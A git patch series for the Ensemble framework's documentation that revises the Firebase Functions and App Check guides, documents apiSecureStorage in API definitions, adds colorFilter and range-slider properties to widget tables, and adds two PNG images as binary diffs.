Bearer ${authToken} - Content-Type: application/json - X-Custom-Header: ensemble-app - data: - userId: ${userId} - includePrivateData: true -``` - -**Explanation:** -- `headers`: Custom HTTP headers to include with the request -- Useful for authentication tokens, content types, or custom application headers - -### Function Call with HTTP Methods: -By default, Firebase Functions use POST method, but you can specify other methods if your function supports them. - -**Example (GET request):** -```yaml -getPublicData: - type: firebaseFunction - name: getNews - method: GET - query: - category: technology - limit: 10 -``` - -**Explanation:** -- `method`: HTTP method for the request (GET, POST, PUT, DELETE) -- `query`: Query parameters for GET requests - ## 3. Response Handling of Firebase Functions When performing Firebase Functions operations, you may need to handle responses and errors appropriately. Below are common patterns for handling API responses in your Ensemble app. @@ -154,236 +112,34 @@ API: executeCode: body: |- console.log('Failed to fetch user data'); - console.log(response.error); - errorText.text = "Error: " + response.error.message; + console.log(response.body); + errorText.text = "Error: " + response.body; - sendNotification: - inputs: - - message - - recipientId - type: firebaseFunction - name: sendPushNotification - data: - message: ${message} - recipientId: ${recipientId} - priority: high - onResponse: - executeCode: - body: |- - console.log('Notification sent successfully'); - statusText.text = "Notification sent!"; - statusText.styles = { color: "green" }; - onError: - executeCode: - body: |- - console.log('Failed to send notification'); - statusText.text = "Failed to send notification"; - statusText.styles = { color: "red" }; ``` ### 3. Using response in UI Components: -To display data based on the API call's state (loading, success, error), you can use the following structure: - -```yaml -Column: - children: - - Column: - styles: - visible: '${getUserData.isLoading ? true : false}' - children: - - Progress: - display: circular - - Text: - text: "Loading user data..." - - Column: - styles: - visible: '${getUserData.isSuccess ? true : false}' - children: - - Text: - id: userNameText - text: "Name: ${getUserData.body.user.name}" - - Text: - id: userEmailText - text: "Email: ${getUserData.body.user.email}" - - Text: - text: "Last Login: ${getUserData.body.user.lastLogin}" - - Column: - styles: - visible: '${getUserData.isError ? true : false}' - children: - - Text: - id: errorText - text: "Failed to load user data" - styles: - color: red -``` - -**Explanation:** -- The first child Column is visible only when the API call is loading (`visible: '${getUserData.isLoading ? true : false}'`). It shows a circular progress indicator. -- The second child Column is visible only when the API call is successful (`visible: '${getUserData.isSuccess ? true : false}'`). It displays the function result. -- The third child Column is visible only when there is an error (`visible: '${getUserData.isError ? true : false}'`). It shows an error message. +Firebase functions will work similar to simple http APIs and their responses can be used in UI Components: -### 4. Using Function Response in Forms: ```yaml -Form: - children: - - TextInput: - id: emailInput - label: Email Address - required: true - - TextInput: - id: messageInput - label: Message - multiline: true - - Button: - label: Send Email - onTap: - invokeAPI: - name: sendEmail - inputs: - email: ${emailInput.value} - message: ${messageInput.value} - - Text: - id: emailResult - styles: - visible: '${sendEmail.isSuccess ? true : false}' - color: green - text: "Email sent successfully!" - - Text: - id: emailError - styles: - visible: '${sendEmail.isError ? true : false}' - color: red - text: "Failed to send email: ${sendEmail.error.message}" -``` - -### 5. Using response in ListView: -```yaml -ListView: - item-template: - data: ${getNotifications.body.notifications} - name: notification - template: - Card: - padding: 16 - margin: 8 - children: - - Text: - text: ${notification.title} - styles: - fontSize: 18 - fontWeight: bold - - Text: - text: ${notification.message} - styles: - fontSize: 14 - color: gray - - Text: - text: ${notification.timestamp} - styles: - fontSize: 12 - color: lightgray -``` -## 4. Advanced Features - -### Batch Function Calls: -You can call multiple Firebase Functions sequentially or handle complex workflows. - -**Example (Sequential calls):** -```yaml -API: - processOrder: - inputs: - - orderId - type: firebaseFunction - name: validateOrder - data: - orderId: ${orderId} - onResponse: - invokeAPI: - name: chargePayment - inputs: - orderId: ${orderId} - amount: ${response.body.totalAmount} - - chargePayment: - inputs: - - orderId - - amount - type: firebaseFunction - name: processPayment - data: - orderId: ${orderId} - amount: ${amount} - onResponse: - invokeAPI: - name: sendConfirmation - inputs: - orderId: ${orderId} -``` - -### Error Handling with Retry Logic: -```yaml -API: - reliableFunction: - type: firebaseFunction - name: criticalOperation - data: - operation: important - onError: - executeCode: - body: |- - console.log('Function failed, implementing retry logic'); - if (response.error.code === 'timeout') { - // Retry after a delay - setTimeout(() => { - invokeAPI({ name: 'reliableFunction' }); - }, 2000); - } -``` - -## 5. Best Practices - -### Input Validation: -Always validate inputs before sending to Firebase Functions: - -```yaml -validateAndSubmit: - inputs: - - email - - password - type: firebaseFunction - name: createAccount - data: - email: ${email} - password: ${password} - condition: '${email.includes("@") && password.length >= 8}' - onResponse: - executeCode: - body: |- - console.log('Account created successfully'); - navigateToScreen('welcome'); - onError: - executeCode: - body: |- - console.log('Account creation failed'); - showErrorDialog(response.error.message); +Column: + styles: + visible: '${getUserData.isSuccess ? true : false}' + children: + - Text: + id: userNameText + text: "Name: ${getUserData.body.user.name}" + - Text: + id: userEmailText + text: "Email: ${getUserData.body.user.email}" + - Text: + text: "Last Login: ${getUserData.body.user.lastLogin}" + ``` -### Loading States: -Provide clear feedback during function execution: -```yaml -Button: - label: '${submitForm.isLoading ? "Processing..." : "Submit"}' - enabled: '${!submitForm.isLoading}' - onTap: - invokeAPI: - name: submitForm -``` -## 6. Troubleshooting +## 4. Troubleshooting ### Common Issues - Ensure Firebase Functions are deployed and accessible From eb6dd92d66af2b698db891177867896a8ce5012d Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 08:52:34 +0500 Subject: [PATCH 08/16] fix 7 --- pages/firebase/firebase-appcheck.mdx | 3 +-- pages/firebase/firebase-functions.mdx | 4 +--- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 7f95c58..be1010e 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -9,10 +9,9 @@ Unlike traditional API security measures, App Check provides automatic app verif Now, let's dive into configuring Firebase App Check for our Ensemble application: - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/configuration.mdx#2-configure-ensemble-app). + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). -- To get hands-on experience with App Check configuration, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) ## 1. Environment Configuration diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 82d282c..69a90ad 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -17,9 +17,7 @@ Now, let's dive into implementing Firebase Functions in our Ensemble application Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). - -To get hands-on experience with Firebase Functions operations, check the live example on Ensemble Studio. - + ## 1. Environment Configuration From 7eeed84f33feb03d611c7c162d77d86e39f3b754 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 09:20:14 +0500 Subject: [PATCH 09/16] secure storage --- pages/actions/read-keychain.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/pages/actions/read-keychain.md b/pages/actions/read-keychain.md index d9c8981..74283f4 100644 --- a/pages/actions/read-keychain.md +++ b/pages/actions/read-keychain.md @@ -1,3 +1,5 @@ +import { Callout } from 'nextra/components' + # readKeychain The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. @@ -33,10 +35,13 @@ Button: ## JavaScript Usage + It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. + ## Notes + - This action reads from the device's secure keychain or equivalent OS security storage. - Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. - The retrieved data is converted back to its original data type (string, number, boolean, or object). @@ -44,3 +49,17 @@ It is only available in YAML, as this calls a async function whose return type i - Data stored using [saveKeychain](/actions/save-keychain) can be retrieved with this action. - The value is available in the `onComplete` action under `event.data`. - This action provides access to data with OS-level security protection. + + +For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context without depending on callbacks or async issues. + +yamlAPI: + createToDo: + url: http://192.168.18.163:3000/api/test + method: 'POST' + headers: + Context: apiKey ${apiSecureStorage.newdata} + body: + records: + - fields: + desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" \ No newline at end of file From d110f2dd11d763e1539d6b0ebacfecdc8705e27d Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 09:30:58 +0500 Subject: [PATCH 10/16] format fix --- pages/actions/read-keychain.md | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/pages/actions/read-keychain.md b/pages/actions/read-keychain.md index 74283f4..2e7bb67 100644 --- a/pages/actions/read-keychain.md +++ b/pages/actions/read-keychain.md @@ -50,9 +50,13 @@ It is only available in YAML, as this calls a async function whose return type i - The value is available in the `onComplete` action under `event.data`. - This action provides access to data with OS-level security protection. - -For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context without depending on callbacks or async issues. - +## apiSecureStorage + +For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context. This approach doesn't require any callbacks or async handling. + +### Example + +```yaml yamlAPI: createToDo: url: http://192.168.18.163:3000/api/test @@ -62,4 +66,5 @@ yamlAPI: body: records: - fields: - desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" \ No newline at end of file + desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" +``` \ No newline at end of file From 3edb9b27cb7fbcb5acbc3ef2289f1e7c2580bc7f Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Thu, 24 Jul 2025 05:22:15 +0500 Subject: [PATCH 11/16] added apiSecureStorage in API definition --- pages/actions/read-keychain.md | 19 ------------------- pages/apis/define-api.md | 19 +++++++++++++++++++ pages/widgets/Image.mdx | 1 + 3 files changed, 20 insertions(+), 19 deletions(-) diff --git a/pages/actions/read-keychain.md b/pages/actions/read-keychain.md index 2e7bb67..e2269b1 100644 --- a/pages/actions/read-keychain.md +++ b/pages/actions/read-keychain.md @@ -49,22 +49,3 @@ It is only available in YAML, as this calls a async function whose return type i - Data stored using [saveKeychain](/actions/save-keychain) can be retrieved with this action. - The value is available in the `onComplete` action under `event.data`. - This action provides access to data with OS-level security protection. - -## apiSecureStorage - -For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context. This approach doesn't require any callbacks or async handling. - -### Example - -```yaml -yamlAPI: - createToDo: - url: http://192.168.18.163:3000/api/test - method: 'POST' - headers: - Context: apiKey ${apiSecureStorage.newdata} - body: - records: - - fields: - desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" -``` \ No newline at end of file diff --git a/pages/apis/define-api.md b/pages/apis/define-api.md index 5634139..0210c66 100644 --- a/pages/apis/define-api.md +++ b/pages/apis/define-api.md @@ -71,3 +71,22 @@ API: title: "${productTitle}" # example of a dynamic data that is set based on the inputs source: MyApp # example of a static data that is always passed ``` + +## apiSecureStorage + +For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context. This approach doesn't require any callbacks or async handling. + +### Example + +```yaml +API: + createToDo: + url: http://192.168.18.163:3000/api/test + method: 'POST' + headers: + Context: apiKey ${apiSecureStorage.newdata} + body: + records: + - fields: + desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" +``` \ No newline at end of file diff --git a/pages/widgets/Image.mdx b/pages/widgets/Image.mdx index 864050f..c0170ef 100644 --- a/pages/widgets/Image.mdx +++ b/pages/widgets/Image.mdx @@ -19,6 +19,7 @@ You can manage your assets using Ensemble Studio. [See how](/assets) | source | string | URL to or asset name of the image or an inline SVG string. If the URL is used, it is highly recommended that the dimensions is set (either with width/height or other means) to prevent the UI jerkiness while loading. | | onTap | action | Call Ensemble's built-in functions or execute code | | onTapHaptic | enum | The type of haptic to perform when image is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| colorFilter | object | Applies color filter to the image. | | styles | object | [See properties](#styles) | ### styles From e56851f8019cc5df47c527e94ca858e63a210440 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Thu, 24 Jul 2025 05:52:31 +0500 Subject: [PATCH 12/16] added colorFilter docs --- pages/widgets/Image.mdx | 2 +- pages/widgets/avatar.mdx | 1 + pages/widgets/carousel.mdx | 3 ++- pages/widgets/markdown.md | 4 +++- pages/widgets/shape.md | 2 ++ pages/widgets/slider.mdx | 3 +++ pages/widgets/text.mdx | 2 ++ 7 files changed, 14 insertions(+), 3 deletions(-) diff --git a/pages/widgets/Image.mdx b/pages/widgets/Image.mdx index c0170ef..4af7d74 100644 --- a/pages/widgets/Image.mdx +++ b/pages/widgets/Image.mdx @@ -19,7 +19,6 @@ You can manage your assets using Ensemble Studio. [See how](/assets) | source | string | URL to or asset name of the image or an inline SVG string. If the URL is used, it is highly recommended that the dimensions is set (either with width/height or other means) to prevent the UI jerkiness while loading. | | onTap | action | Call Ensemble's built-in functions or execute code | | onTapHaptic | enum | The type of haptic to perform when image is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| colorFilter | object | Applies color filter to the image. | | styles | object | [See properties](#styles) | ### styles @@ -57,6 +56,7 @@ You can manage your assets using Ensemble Studio. [See how](/assets) | resizedHeight | integer | Images will be automatically resized (default to 800 width with no height set) before rendering. If you know the rough image height, set this number to be the same or a slightly larger height to optimize the loading time. To maintain the original aspect ratio, set either resizedWidth or resizedHeight, but not both. This setting is not supported on Web. | | visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | | placeholderColor | integer or string | The placeholder color while the image is loading `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| colorFilter | object | Applies color filter to the image. | ### styles.backgroundGradient diff --git a/pages/widgets/avatar.mdx b/pages/widgets/avatar.mdx index 799fed8..0001789 100644 --- a/pages/widgets/avatar.mdx +++ b/pages/widgets/avatar.mdx @@ -30,6 +30,7 @@ The Avatar Widget provides a visual representation of a user or entity, typicall |:-----------------|:---------------------------------------|:--------------------------------------------------| | placeholderColor | [Color](/widgets/types#Color) | The placeholder color while the image is loading. | | fit | [Fit](/widgets/types#Fit) | How to fit the image within the dimensions | +| colorFilter | object | Applies color filter to Avatar | ### Box Styles (Inherited) This widget also inherits these styles diff --git a/pages/widgets/carousel.mdx b/pages/widgets/carousel.mdx index 2f4e3f1..ea6e2e5 100644 --- a/pages/widgets/carousel.mdx +++ b/pages/widgets/carousel.mdx @@ -49,7 +49,8 @@ The Carousel Widget allows you to create and render carousels, enabling the pres | direction | string | The axis along which the carousel view scrolls. | | cacheKey | string | Pass a cacheKey if you want to keep the carousel's item position when it was recreated | | buildOnDemand | boolean | Build the carousel items only when its visible in the screen. Default - false | -| buildOnDemandLength | integer | Build the carousel items when its visible in the screen only when the item is greater or equal to this length. Default - 6 | +| buildOnDemandLength | integer | Build the carousel items when its visible in the screen only when the item is greater or equal to this length. Default - 6 +| colorFilter | object | Applies color filter to whole carousel | | ### Box Styles (Inherited) diff --git a/pages/widgets/markdown.md b/pages/widgets/markdown.md index 9a6f94f..c72584a 100644 --- a/pages/widgets/markdown.md +++ b/pages/widgets/markdown.md @@ -13,7 +13,7 @@ The Markdown Render Widget empowers you to effortlessly render Markdown text, tr ### styles -| Property | Type | Description | +| Property | Type | Description Image: | | :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | | linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | @@ -30,6 +30,8 @@ The Markdown Render Widget empowers you to effortlessly render Markdown text, tr | visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | | visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | | opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| colorFilter | object | Applies color filter to Markdown | + #### styles.linkStyle diff --git a/pages/widgets/shape.md b/pages/widgets/shape.md index 34e9655..ab78c31 100644 --- a/pages/widgets/shape.md +++ b/pages/widgets/shape.md @@ -16,3 +16,5 @@ ECreate and customize a variety of shapes to add flair to your UI. Use this widg | width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | | height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | | backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| colorFilter | object | Applies color filter to Avatar | + diff --git a/pages/widgets/slider.mdx b/pages/widgets/slider.mdx index 0eddf84..ef35823 100644 --- a/pages/widgets/slider.mdx +++ b/pages/widgets/slider.mdx @@ -38,6 +38,9 @@ The base properties define the fundamental behavior and appearance of the slider | divisions | integer | Number of discrete steps. If not set, the slider will be continuous | | styles | object | [See properties](#styles) | | onChange | Action | Action triggered when value changes | +| enableRange | boolean | Turning it true will give you two thumbs | +| startValue | number | Starting position of thumb (incase of range slider) | +| endValue | number | Ending position of thumb (incase of range slider) | ## Style Properties diff --git a/pages/widgets/text.mdx b/pages/widgets/text.mdx index b297f57..4c91644 100644 --- a/pages/widgets/text.mdx +++ b/pages/widgets/text.mdx @@ -56,6 +56,8 @@ Display and style text within your application. | expandLabel | string | Default: '...show more'. Default is in English. When expandable is set to true, expandLabel will be displayed as a clickable link at the end of the text to show the full text. If you want text for each language, use Ensemble's translation feature and specify a token here instead of hardcoding the text. | | collapseLabel | string | Default: ' show less'. Default is in English. When text is in the expanded state, collapseLabel will be displayed as a clickable link at the end of the text to show the truncated text. If you want text for each language, use Ensemble's translation feature and specify a token here instead of hardcoding the text. | | expandTextStyle | TextStyle | Default: textStyle of the Text widget with color changed to blue. The [TextStyle] of the expand/collapse label. Applicable only when [expandable] is set to true. | +| colorFilter | object | Applies color filter to Avatar | + ### styles.textStyles From f042f00697275c8c421ab57845c64b92f2e8d0f3 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Thu, 24 Jul 2025 07:52:26 +0500 Subject: [PATCH 13/16] added image resources --- pages/firebase/configuration.mdx | 7 ++++++- pages/firebase/firebase-appcheck.mdx | 7 +++---- pages/firebase/firebase-functions.mdx | 11 ++++++----- pages/widgets/carousel.mdx | 2 +- public/images/firebase/appcheck.png | Bin 0 -> 4298 bytes public/images/firebase/firebasefunction.png | Bin 0 -> 24734 bytes 6 files changed, 16 insertions(+), 11 deletions(-) create mode 100644 public/images/firebase/appcheck.png create mode 100644 public/images/firebase/firebasefunction.png diff --git a/pages/firebase/configuration.mdx b/pages/firebase/configuration.mdx index 0a736c2..7dd7b6c 100644 --- a/pages/firebase/configuration.mdx +++ b/pages/firebase/configuration.mdx @@ -87,9 +87,14 @@ After we have replaced the placeholder hashtags (#) in our configuration file, i #### Update Environmental Variables -Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the following variables: - `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. - `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. +- `firebase_config`: Similar to `firestore_config`, this variable is required when using Firebase Functions or Firebase App Check. Use the same configuration file format and values as above. + + + The `firebase_config` environment variable follows the same structure and values as `firestore_config`. It's specifically needed when implementing Firebase Functions or Firebase App Check in your Ensemble application. + ![Environment Variables](/images/firebase/envVari.png) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index be1010e..58d0635 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -14,15 +14,14 @@ Now, let's dive into configuring Firebase App Check for our Ensemble application ## 1. Environment Configuration - -To enable App Check security in your Ensemble application, add an environment variable named `firebase_app_check` and set its value to `true` to enforce App Check security across your application. +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the environment variable for appcheck as follows: **Example**: ```bash -firebase_app_check=true +![All Apps](/images/firebase/appcheck.png) ``` **Explanation**: -- `firebase_app_check=true`: Enables App Check verification for all Firebase API calls in your Ensemble application. +Enables App Check verification for all Firebase API calls in your Ensemble application. ## 2. Types of App Check Operations diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 69a90ad..3005402 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -22,16 +22,17 @@ Now, let's dive into implementing Firebase Functions in our Ensemble application ## 1. Environment Configuration ### Setting Up API Providers -To use Firebase Functions, create an environment variable named `api_providers` and add "firebase" to it. +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: +- `api_providers`: Set the value of this variable to `firebase`. This tells our app to use Firebase function as a api provider. + +**Example**: +```bash +![All Apps](/images/firebase/firebasefunction.png) **Note:** You can use multiple api_providers by using comma-separated values (e.g., firestore,firebase) -**Example:** -```bash -api_providers=firestore,firebase -``` ## 2. Types of Firebase Functions Operations diff --git a/pages/widgets/carousel.mdx b/pages/widgets/carousel.mdx index ea6e2e5..bce466b 100644 --- a/pages/widgets/carousel.mdx +++ b/pages/widgets/carousel.mdx @@ -49,7 +49,7 @@ The Carousel Widget allows you to create and render carousels, enabling the pres | direction | string | The axis along which the carousel view scrolls. | | cacheKey | string | Pass a cacheKey if you want to keep the carousel's item position when it was recreated | | buildOnDemand | boolean | Build the carousel items only when its visible in the screen. Default - false | -| buildOnDemandLength | integer | Build the carousel items when its visible in the screen only when the item is greater or equal to this length. Default - 6 +| buildOnDemandLength | integer | Build the carousel items when its visible in the screen only when the item is greater or equal to this length. Default - 6 | | colorFilter | object | Applies color filter to whole carousel | | diff --git a/public/images/firebase/appcheck.png b/public/images/firebase/appcheck.png new file mode 100644 index 0000000000000000000000000000000000000000..f813d3fb5f87d99f32632cddd2e0833997ea9113 GIT binary patch literal 4298 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 literal 0 HcmV?d00001 diff --git a/public/images/firebase/firebasefunction.png b/public/images/firebase/firebasefunction.png new file mode 100644 index 0000000000000000000000000000000000000000..99eabbfbe6e23779163e98902a9b9ae9138c537c GIT binary patch literal 24734 zcmdpeRa9Kf7A6S+f_rcXA-F^1(zrVWclXBKEjR>scXxLU?(Xi=xHJ6s&K-G}d6-#i z9;P3iYF}hAN8@v z<|*TN(;cH3;8-828gI_9Jy%QHv7z7mzMQO>XY|LHX;MOdTTXcf64j5?$gcph86aUk zdL-@h_wnsd!kdI7yzudZYx!P^8mVhW`+e=b*WJOAJMgh|baeDx=qqsmiojQ5vgo*z zbclbC1F)q&WBz;C7eL}0`p^9U6#bq*e8T^p&A26&_2Xa50+MWg%Ax-2zJL@vTG4-Y zO9NSF#W05DpRDJOT@zYh?L|Aa&yaL<4Aj#Z$z6@~1_%)IdX>WUCLuYoY+(MgK1sDg zJS#_|Dxo(UC0qUl%Z6K0=BZw+|1XoBL{ZIzKw+kEKRT(Q&Tl|)^$>-N@0vFfDxBwN 